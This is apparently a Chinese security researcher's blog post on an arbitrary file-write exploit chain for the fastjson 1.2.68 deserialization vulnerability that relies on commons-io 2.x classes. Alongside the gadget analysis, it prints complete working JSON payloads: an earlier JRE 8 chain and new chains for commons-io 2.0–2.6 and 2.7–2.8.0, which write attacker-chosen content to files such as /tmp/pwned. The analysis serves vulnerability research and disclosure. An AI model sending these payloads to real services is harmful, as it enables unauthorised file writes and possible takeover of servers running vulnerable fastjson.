本文旨在阐述分析 fastjson 1.2.68 反序列化漏洞在有 commons-io 2.x 版本依赖下的任意写文件利用链。
距离 fastjson 1.2.68 autotype bypass 反序列化漏洞曝光到现在已过去正好差不多一年左右的时间,有读者可能好奇我为什么现在才写这篇文章,并不是我想炒冷饭或者故意藏到现在才发出来。它当时刚曝光出来时我也有尝试过寻找其通用的利用链,但分析完漏洞原理后发现这是一件相当麻烦的事情,自觉能力和精力不够也就一度放弃,想伸手当白嫖党。
而这期间始终未曾见到有什么杀伤性特别大的 PoC。杀伤性大就我理解是指漏洞利用无需出网、利用条件少或者极容易满足。当然也许有非常厉害的 PoC 有人在偷偷流传使用,不过都经过两轮 HW 洗礼了,该抓的流量应该早被抓出来曝光了。
直到前不久,有同事扔给我看一篇漏洞复现的文章:
https://mp.weixin.qq.com/s/HMlaMPn4LK3GMs3RvK6ZRA
我才发现这个 JRE 链其实公开的时间已经挺久了,最早由浅蓝在他的博客公开挖掘相关利用链的思路:
https://b1ue.cn/archives/382.html
随后由沈沉舟(四哥)对浅蓝的思路进行延伸:
以及最终 Rmb122 的成果:
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
直到近段时间我重新仔细审视了下这些利用链构造的相关文章,我才发现了一些之前在尝试寻找利用链时所忽视的问题,也因此有了一些新的发现,找到一个仅需依赖 commons-io 2.x 版本即可任意写文件的利用链。而我的这些发现也是基于各位同仁的成果之上,故写作此文将其公开、大家互相交流学习进步。
目前已公开的 JRE 8 下的写文件利用链 PoC:
1{
2 "x":{
3 "@type":"java.lang.AutoCloseable",
4 "@type":"sun.rmi.server.MarshalOutputStream",
5 "out":{
6 "@type":"java.util.zip.InflaterOutputStream",
7 "out":{
8 "@type":"java.io.FileOutputStream",
9 "file":"/tmp/dest.txt",
10 "append":false
11 },
12 "infl":{
13 "input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
14 },
15 "bufLen":1048576
16 },
17 "protocolVersion":1
18 }
19}
注:此 PoC 在更高版本的 JRE 下也有变种,不过实际环境中几乎不怎么碰到 8 以上的版本,所以这里只讨论 JRE 8 版本。
其中 sun.rmi.server.MarshalOutputStream
、java.util.zip.InflaterOutputStream
以及 java.io.FileOutputStream
均是基于带参数的构造函数进行构建。
fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可:
JavaBeanInfo.build
方法中检查参数名的代码片段:
1......
2
3boolean is_public = (constructor.getModifiers() & 1) != 0;
4if (is_public) {
5 String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);
6 if (lookupParameterNames != null && lookupParameterNames.length != 0 && (creatorConstructor == null || paramNames == null || lookupParameterNames.length > paramNames.length)) {
7 paramNames = lookupParameterNames;
8 creatorConstructor = constructor;
9 }
10}
11
12......
什么情况下类构造函数的参数会有参数名信息呢?只有当这个类 class 字节码带有调试信息且其中包含有变量信息时才会有。
可以通过如下命令来检查,如果有输出 LocalVariableTable
,则证明其 class 字节码里的函数参数会有参数名信息:
javap -l <class_name> | grep LocalVariableTable
而我在多个不同的操作系统下的 OpenJDK、Oracle JDK 进行测试,目前只发现 CentOS 下的 OpenJDK 8 字节码调试信息中含有 LocalVariableTable
(根据沈沉舟的文章,RedHat 下的 JDK8 安装包也会有,不过他并未说明是 OpenJDK 还是 Oracle JDK,我未做测试)。
总之可以得出结论的是,由于此利用链对 Java 环境的要求,实际渗透测试中满足此要求的环境还是占小部分,需要寻找更为通用的利用链。
寻找新链还是借鉴浅蓝之前的思路:
需要一个通过 set 方法或构造方法指定文件路径的 OutputStream;
需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream;
需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 flush 方法;
以上三个组合在一起就能构造成一个写文件的利用链。
由于大部分 JDK/JRE 环境的类字节码里都不含有 LocalVariableTable,而我注意到很多第三方库里的字节码是有 LocalVariableTable 的。因此我把目光转向 maven 使用量 top100 的第三方库,寻找其中所有实现 java.lang.AutoCloseable 接口的、同时保留有 LocalVariableTable 调试信息的类,并按照 fastjson 1.2.68 的黑名单进行筛选去除。
经过一番漫长的探索后,出于以下几个考虑,我最终决定把目光集中在 commons-io 库中:
最终如愿以偿,成功找到一条新的写文件的链。
接下来先按照利用链的组成对核心类做一个简要的分析,环境以 fastjson 1.2.68、commons-io 2.5 为例。
org.apache.commons.io.input.XmlStreamReader
的构造函数中接受 InputStream 对象为参数:
1 public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding) throws IOException {
2 this.defaultEncoding = defaultEncoding;
3 BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS);
4 BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);
5 this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient);
6 this.reader = new InputStreamReader(pis, this.encoding);
7 }
并且随后会触发 InputStream.read()
,调用过程如下:
XmlStreamReader.<init>(InputStream, String, boolean, String)
-> XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean)
-> BOMInputStream.getBOMCharsetName()
-> BOMInputStream.getBOM()
-> BufferedInputStream.read()
-> BufferedInputStream.fill()
-> InputStream.read(byte[], int, int)
BOMInputStream.getBOM()
方法:
因此 XmlStreamReader 的构造函数作为整个链的入口,链到 InputStream.read(byte[], int, int)
方法。
org.apache.commons.io.input.TeeInputStream
的构造函数接受 InputStream 和 OutputStream 对象为参数:
而它的 read 方法,会把 InputStream 流里读出来的东西,再写到 OutputStream 流里,正如其名,像是管道重定向:
通过 TeeInputStream,InputStream 输入流里读出来的东西可以重定向写入到 OutputStream 输出流。
org.apache.commons.io.input.ReaderInputStream
的构造函数接受 Reader 对象作为参数:
它在执行 read 方法时,会执行 fillBuffer 方法,从而执行 Reader.read(char[], int, int)
方法,从 Reader 中来获取输入:
org.apache.commons.io.input.CharSequenceReader
的构造函数接受 CharSequence 对象作为参数:
它在执行 read 方法时,会读取 CharSequence 的值:
因此组合一下 ReaderInputStream 和 CharSequenceReader,就能构建出从自定义字符串里读输入的 InputStream:
1{
2 "@type":"java.lang.AutoCloseable",
3 "@type":"org.apache.commons.io.input.ReaderInputStream",
4 "reader":{
5 "@type":"org.apache.commons.io.input.CharSequenceReader",
6 "charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
7 },
8 "charsetName":"UTF-8",
9 "bufferSize":1024
10}
注意这里为了构建 charSequence 传入自己输入的字符串参数,根据 StringCodec.deserialze(DefaultJSONParser, Type, Object)
方法对 JSON 结构做了一些改变,看起来是畸形的 JSON,但是可以被 fastjson 正常解析。
那么现在有触发 InputStream read 方法的链入口,也有能传入可控内容的 InputStream,只差一个自定义输出位置的 OutputStream 了。
org.apache.commons.io.output.WriterOutputStream
的构造函数接受 Writer 对象作为参数:
它在执行 write 方法时,会执行 flushOutput 方法,从而执行 Writer.write(char[], int, int)
,通过 Writer 来输出:
org.apache.commons.io.output.FileWriterWithEncoding
的构造函数接受 File 对象作为参数,并最终以 File 对象构建 FileOutputStream 文件输出流:
因此组合一下 WriterOutputStream 和 FileWriterWithEncoding,就能构建得到输出到指定文件的 OutputStream。
万事俱备,现在我们尝试将这些类组合起来试试:
1{
2 "@type":"java.lang.AutoCloseable",
3 "@type":"org.apache.commons.io.input.XmlStreamReader",
4 "is":{
5 "@type":"org.apache.commons.io.input.TeeInputStream",
6 "input":{
7 "@type":"org.apache.commons.io.input.ReaderInputStream",
8 "reader":{
9 "@type":"org.apache.commons.io.input.CharSequenceReader",
10 "charSequence":{"@type":"java.lang.String""aaaaaa"
11 },
12 "charsetName":"UTF-8",
13 "bufferSize":1024
14 },
15 "branch":{
16 "@type":"org.apache.commons.io.output.WriterOutputStream",
17 "writer": {
18 "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
19 "file": "/tmp/pwned",
20 "encoding": "UTF-8",
21 "append": false
22 },
23 "charsetName": "UTF-8",
24 "bufferSize": 1024,
25 "writeImmediately": true
26 },
27 "closeBranch":true
28 },
29 "httpContentType":"text/xml",
30 "lenient":false,
31 "defaultEncoding":"UTF-8"
32}
尝试用 fastjson 进行解析执行,发现文件创建了,也确实执行到了 FileWriterWithEncoding.write(char[], int, int)
方法,但是文件内容是空的?
这里涉及到的一个问题就是,当要写入的字符串长度不够时,输出的内容会被保留在 ByteBuffer 中,不会被实际输出到文件里:
sun.nio.cs.StreamEncoder#implWrite
问题搞清楚了,我们需要写入足够长的字符串才会让它刷新 buffer,写入字节到输出流对应的文件里。那么很自然地想到,在 charSequence 处构造超长字符串是不是就可以了?
可惜并非如此,原因是 InputStream buffer 的长度大小在这里已经是固定的 4096 了:
也就是说每次读取或者写入的字节数最多也就是 4096,但 Writer buffer 大小默认是 8192:
因此仅仅一次写入在没有手动执行 flush 的情况下是无法触发实际的字节写入的。
怎么解决上述 buffer 大小的问题?
有过 fastjson 代码分析经验的读者也许会猜到解决办法,那就是通过 $ref
循环引用,多次往同一个 OutputStream 流里输出即可。一次不够 overflow 就多写几次,直到 overflow 为止,就能触发实际的文件写入操作。
利用链的构造分析完毕,这里给出最终的 PoC。
commons-io 2.0 - 2.6 版本:
1{
2 "x":{
3 "@type":"com.alibaba.fastjson.JSONObject",
4 "input":{
5 "@type":"java.lang.AutoCloseable",
6 "@type":"org.apache.commons.io.input.ReaderInputStream",
7 "reader":{
8 "@type":"org.apache.commons.io.input.CharSequenceReader",
9 "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
10 },
11 "charsetName":"UTF-8",
12 "bufferSize":1024
13 },
14 "branch":{
15 "@type":"java.lang.AutoCloseable",
16 "@type":"org.apache.commons.io.output.WriterOutputStream",
17 "writer":{
18 "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
19 "file":"/tmp/pwned",
20 "encoding":"UTF-8",
21 "append": false
22 },
23 "charsetName":"UTF-8",
24 "bufferSize": 1024,
25 "writeImmediately": true
26 },
27 "trigger":{
28 "@type":"java.lang.AutoCloseable",
29 "@type":"org.apache.commons.io.input.XmlStreamReader",
30 "is":{
31 "@type":"org.apache.commons.io.input.TeeInputStream",
32 "input":{
33 "$ref":"$.input"
34 },
35 "branch":{
36 "$ref":"$.branch"
37 },
38 "closeBranch": true
39 },
40 "httpContentType":"text/xml",
41 "lenient":false,
42 "defaultEncoding":"UTF-8"
43 },
44 "trigger2":{
45 "@type":"java.lang.AutoCloseable",
46 "@type":"org.apache.commons.io.input.XmlStreamReader",
47 "is":{
48 "@type":"org.apache.commons.io.input.TeeInputStream",
49 "input":{
50 "$ref":"$.input"
51 },
52 "branch":{
53 "$ref":"$.branch"
54 },
55 "closeBranch": true
56 },
57 "httpContentType":"text/xml",
58 "lenient":false,
59 "defaultEncoding":"UTF-8"
60 },
61 "trigger3":{
62 "@type":"java.lang.AutoCloseable",
63 "@type":"org.apache.commons.io.input.XmlStreamReader",
64 "is":{
65 "@type":"org.apache.commons.io.input.TeeInputStream",
66 "input":{
67 "$ref":"$.input"
68 },
69 "branch":{
70 "$ref":"$.branch"
71 },
72 "closeBranch": true
73 },
74 "httpContentType":"text/xml",
75 "lenient":false,
76 "defaultEncoding":"UTF-8"
77 }
78 }
79}
commons-io 2.7 - 2.8.0 版本:
1{
2 "x":{
3 "@type":"com.alibaba.fastjson.JSONObject",
4 "input":{
5 "@type":"java.lang.AutoCloseable",
6 "@type":"org.apache.commons.io.input.ReaderInputStream",
7 "reader":{
8 "@type":"org.apache.commons.io.input.CharSequenceReader",
9 "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
10 "start":0,
11 "end":2147483647
12 },
13 "charsetName":"UTF-8",
14 "bufferSize":1024
15 },
16 "branch":{
17 "@type":"java.lang.AutoCloseable",
18 "@type":"org.apache.commons.io.output.WriterOutputStream",
19 "writer":{
20 "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
21 "file":"/tmp/pwned",
22 "charsetName":"UTF-8",
23 "append": false
24 },
25 "charsetName":"UTF-8",
26 "bufferSize": 1024,
27 "writeImmediately": true
28 },
29 "trigger":{
30 "@type":"java.lang.AutoCloseable",
31 "@type":"org.apache.commons.io.input.XmlStreamReader",
32 "inputStream":{
33 "@type":"org.apache.commons.io.input.TeeInputStream",
34 "input":{
35 "$ref":"$.input"
36 },
37 "branch":{
38 "$ref":"$.branch"
39 },
40 "closeBranch": true
41 },
42 "httpContentType":"text/xml",
43 "lenient":false,
44 "defaultEncoding":"UTF-8"
45 },
46 "trigger2":{
47 "@type":"java.lang.AutoCloseable",
48 "@type":"org.apache.commons.io.input.XmlStreamReader",
49 "inputStream":{
50 "@type":"org.apache.commons.io.input.TeeInputStream",
51 "input":{
52 "$ref":"$.input"
53 },
54 "branch":{
55 "$ref":"$.branch"
56 },
57 "closeBranch": true
58 },
59 "httpContentType":"text/xml",
60 "lenient":false,
61 "defaultEncoding":"UTF-8"
62 },
63 "trigger3":{
64 "@type":"java.lang.AutoCloseable",
65 "@type":"org.apache.commons.io.input.XmlStreamReader",
66 "inputStream":{
67 "@type":"org.apache.commons.io.input.TeeInputStream",
68 "input":{
69 "$ref":"$.input"
70 },
71 "branch":{
72 "$ref":"$.branch"
73 },
74 "closeBranch": true
75 },
76 "httpContentType":"text/xml",
77 "lenient":false,
78 "defaultEncoding":"UTF-8"
79 }
80 }
81}
而对于 commons-io 1.x 版本而言,缺乏 XmlStreamReader、WriterOutputStream、ReaderInputStream 类,因此光靠 commons-io 此路不通,但按照这个思路,肯定还有其他的第三方库中有类可以达成类似的目的,个人精力有限,这些就留给感兴趣的读者自行挖掘了。
浅蓝的文章以及和他私下的交流对我挖掘利用链的过程起到了很大的帮助,沈沉舟和 Rmb122 的文章以及发现成果也纠正了我之前一些对 fastjson 的认知误区,很有帮助。在此感谢各位。